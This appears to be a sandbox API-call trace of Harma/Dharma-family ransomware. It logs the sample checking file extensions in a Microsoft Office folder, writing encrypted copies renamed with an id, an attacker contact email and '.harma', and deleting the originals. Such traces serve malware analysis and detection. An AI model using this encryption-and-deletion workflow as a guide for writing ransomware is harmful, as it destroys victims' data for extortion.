lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0150.521] lstrlenW (lpString=".pdf") returned 4 [0150.521] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.521] lstrlenW (lpString=".xls") returned 4 [0150.521] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.521] lstrlenW (lpString=".xlsx") returned 5 [0150.521] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0150.521] lstrlenW (lpString=".ppt") returned 4 [0150.521] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0150.521] lstrlenW (lpString=".zip") returned 4 [0150.521] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.521] lstrlenW (lpString=".rar") returned 4 [0150.521] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.521] lstrlenW (lpString=".bz2") returned 4 [0150.521] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.521] lstrlenW (lpString=".7z") returned 3 [0150.521] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0150.521] lstrlenW (lpString=".dbf") returned 4 [0150.521] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0150.521] lstrlenW (lpString=".1cd") returned 4 [0150.521] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0150.521] lstrlenW (lpString=".jpg") returned 4 [0150.521] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0150.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0150.521] lstrlenW (lpString=".doc") returned 4 [0150.521] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.522] lstrlenW (lpString=".docx") returned 5 [0150.522] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0150.522] lstrlenW (lpString=".pdf") returned 4 [0150.522] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.522] lstrlenW (lpString=".xls") returned 4 [0150.522] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.522] lstrlenW (lpString=".xlsx") returned 5 [0150.522] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0150.522] lstrlenW (lpString=".ppt") returned 4 [0150.522] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0150.522] lstrlenW (lpString=".zip") returned 4 [0150.522] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.522] lstrlenW (lpString=".rar") returned 4 [0150.522] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.522] lstrlenW (lpString=".bz2") returned 4 [0150.522] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.522] lstrlenW (lpString=".7z") returned 3 [0150.522] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0150.522] lstrlenW (lpString=".dbf") returned 4 [0150.522] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0150.522] lstrlenW (lpString=".1cd") returned 4 [0150.522] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0150.522] lstrlenW (lpString=".jpg") returned 4 [0150.522] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.523] lstrcmpiW (lpString1=".ICO", lpString2=".harma") returned 1 [0150.523] lstrlenW (lpString="FOLDER.ICO") returned 10 [0150.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.526] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=4710) returned 1 [0150.526] CloseHandle (hObject=0x360) returned 1 [0150.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico")) returned 0x20 [0150.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.526] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.526] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0150.799] GetLastError () returned 0x0 [0150.799] ReadFile (in: hFile=0x360, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x1266, lpOverlapped=0x0) returned 1 [0150.801] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x1270, lpOverlapped=0x0) returned 1 [0150.802] ReadFile (in: hFile=0x360, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0150.802] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0150.802] SetEndOfFile (hFile=0x370) returned 1 [0150.802] CloseHandle (hObject=0x370) returned 1 [0150.802] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.803] SetEndOfFile (hFile=0x360) returned 1 [0150.808] CloseHandle (hObject=0x360) returned 1 [0150.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico")) returned 1 [0150.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0150.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0150.810] lstrlenW (lpString=".doc") returned 4 [0150.810] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0150.810] lstrlenW (lpString=".docx") returned 5 [0150.810] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1 [0150.810] lstrlenW (lpString=".pdf") returned 4 [0150.810] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0150.810] lstrlenW (lpString=".xls") returned 4 [0150.810] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0150.810] lstrlenW (lpString=".xlsx") returned 5 [0150.810] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1 [0150.810] lstrlenW (lpString=".ppt") returned 4 [0150.810] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0150.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0150.810] lstrlenW (lpString=".zip") returned 4 [0150.810] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0150.810] lstrlenW (lpString=".rar") returned 4 [0150.810] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0150.810] lstrlenW (lpString=".bz2") returned 4 [0150.810] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0150.810] lstrlenW (lpString=".7z") returned 3 [0150.811] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0150.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0150.811] lstrlenW (lpString=".dbf") returned 4 [0150.811] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0150.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0150.811] lstrlenW (lpString=".1cd") returned 4 [0150.811] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0150.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0150.811] lstrlenW (lpString=".jpg") returned 4 [0150.811] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0150.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0150.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0150.811] lstrlenW (lpString=".doc") returned 4 [0150.811] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0150.811] lstrlenW (lpString=".docx") returned 5 [0150.811] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1 [0150.811] lstrlenW (lpString=".pdf") returned 4 [0150.811] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0150.811] lstrlenW (lpString=".xls") returned 4 [0150.811] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0150.811] lstrlenW (lpString=".xlsx") returned 5 [0150.811] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1 [0150.811] lstrlenW (lpString=".ppt") returned 4 [0150.811] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0150.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0150.812] lstrlenW (lpString=".zip") returned 4 [0150.812] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0150.812] lstrlenW (lpString=".rar") returned 4 [0150.812] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0150.812] lstrlenW (lpString=".bz2") returned 4 [0150.812] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0150.812] lstrlenW (lpString=".7z") returned 3 [0150.812] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0150.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0150.812] lstrlenW (lpString=".dbf") returned 4 [0150.812] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0150.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0150.812] lstrlenW (lpString=".1cd") returned 4 [0150.812] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0150.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0150.812] lstrlenW (lpString=".jpg") returned 4 [0150.812] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0150.812] lstrcmpiW (lpString1=".gta", lpString2=".harma") returned -1 [0150.812] lstrlenW (lpString="Discussion14.gta") returned 16 [0150.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.813] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=362441) returned 1 [0150.813] CloseHandle (hObject=0x360) returned 1 [0150.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 0x20 [0150.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.814] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.814] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0150.815] GetLastError () returned 0x0 [0150.815] ReadFile (in: hFile=0x360, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x587c9, lpOverlapped=0x0) returned 1 [0150.946] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x587d0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x587d0, lpOverlapped=0x0) returned 1 [0150.953] ReadFile (in: hFile=0x360, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0150.953] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0150.953] SetEndOfFile (hFile=0x370) returned 1 [0150.953] CloseHandle (hObject=0x370) returned 1 [0150.953] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.953] SetEndOfFile (hFile=0x360) returned 1 [0150.963] CloseHandle (hObject=0x360) returned 1 [0150.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 1 [0151.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0151.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0151.213] lstrlenW (lpString=".doc") returned 4 [0151.213] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0151.213] lstrlenW (lpString=".docx") returned 5 [0151.213] lstrcmpiW (lpString1=".docx", lpString2="4.gta") returned -1 [0151.213] lstrlenW (lpString=".pdf") returned 4 [0151.213] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0151.213] lstrlenW (lpString=".xls") returned 4 [0151.213] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0151.213] lstrlenW (lpString=".xlsx") returned 5 [0151.213] lstrcmpiW (lpString1=".xlsx", lpString2="4.gta") returned -1 [0151.213] lstrlenW (lpString=".ppt") returned 4 [0151.213] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0151.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0151.214] lstrlenW (lpString=".zip") returned 4 [0151.214] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0151.214] lstrlenW (lpString=".rar") returned 4 [0151.214] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0151.214] lstrlenW (lpString=".bz2") returned 4 [0151.214] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0151.214] lstrlenW (lpString=".7z") returned 3 [0151.214] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0151.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0151.214] lstrlenW (lpString=".dbf") returned 4 [0151.214] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0151.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0151.214] lstrlenW (lpString=".1cd") returned 4 [0151.214] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0151.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0151.214] lstrlenW (lpString=".jpg") returned 4 [0151.214] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0151.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0151.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0151.214] lstrlenW (lpString=".doc") returned 4 [0151.214] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0151.214] lstrlenW (lpString=".docx") returned 5 [0151.214] lstrcmpiW (lpString1=".docx", lpString2="4.gta") returned -1 [0151.214] lstrlenW (lpString=".pdf") returned 4 [0151.214] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0151.214] lstrlenW (lpString=".xls") returned 4 [0151.214] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0151.214] lstrlenW (lpString=".xlsx") returned 5 [0151.214] lstrcmpiW (lpString1=".xlsx", lpString2="4.gta") returned -1 [0151.214] lstrlenW (lpString=".ppt") returned 4 [0151.214] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0151.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0151.215] lstrlenW (lpString=".zip") returned 4 [0151.215] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0151.215] lstrlenW (lpString=".rar") returned 4 [0151.215] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0151.215] lstrlenW (lpString=".bz2") returned 4 [0151.215] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0151.215] lstrlenW (lpString=".7z") returned 3 [0151.215] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0151.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0151.215] lstrlenW (lpString=".dbf") returned 4 [0151.215] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0151.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0151.215] lstrlenW (lpString=".1cd") returned 4 [0151.215] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0151.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64 [0151.215] lstrlenW (lpString=".jpg") returned 4 [0151.215] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0151.215] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0151.215] lstrlenW (lpString="DWGDPRES.DLL") returned 12 [0151.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.232] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=16224) returned 1 [0151.232] CloseHandle (hObject=0x384) returned 1 [0151.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll")) returned 0x20 [0151.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0151.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0151.294] lstrlenW (lpString=".doc") returned 4 [0151.294] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.294] lstrlenW (lpString=".docx") returned 5 [0151.294] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0151.294] lstrlenW (lpString=".pdf") returned 4 [0151.294] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.294] lstrlenW (lpString=".xls") returned 4 [0151.294] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.295] lstrlenW (lpString=".xlsx") returned 5 [0151.295] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0151.295] lstrlenW (lpString=".ppt") returned 4 [0151.295] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0151.295] lstrlenW (lpString=".zip") returned 4 [0151.295] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.295] lstrlenW (lpString=".rar") returned 4 [0151.295] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.295] lstrlenW (lpString=".bz2") returned 4 [0151.295] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.295] lstrlenW (lpString=".7z") returned 3 [0151.295] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0151.295] lstrlenW (lpString=".dbf") returned 4 [0151.295] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0151.295] lstrlenW (lpString=".1cd") returned 4 [0151.295] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0151.295] lstrlenW (lpString=".jpg") returned 4 [0151.295] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0151.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0151.295] lstrlenW (lpString=".doc") returned 4 [0151.295] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.295] lstrlenW (lpString=".docx") returned 5 [0151.295] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0151.295] lstrlenW (lpString=".pdf") returned 4 [0151.295] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.296] lstrlenW (lpString=".xls") returned 4 [0151.296] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.296] lstrlenW (lpString=".xlsx") returned 5 [0151.296] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0151.296] lstrlenW (lpString=".ppt") returned 4 [0151.296] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0151.296] lstrlenW (lpString=".zip") returned 4 [0151.296] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.296] lstrlenW (lpString=".rar") returned 4 [0151.296] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.296] lstrlenW (lpString=".bz2") returned 4 [0151.296] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.296] lstrlenW (lpString=".7z") returned 3 [0151.296] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0151.296] lstrlenW (lpString=".dbf") returned 4 [0151.296] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0151.296] lstrlenW (lpString=".1cd") returned 4 [0151.296] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL") returned 60 [0151.296] lstrlenW (lpString=".jpg") returned 4 [0151.296] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 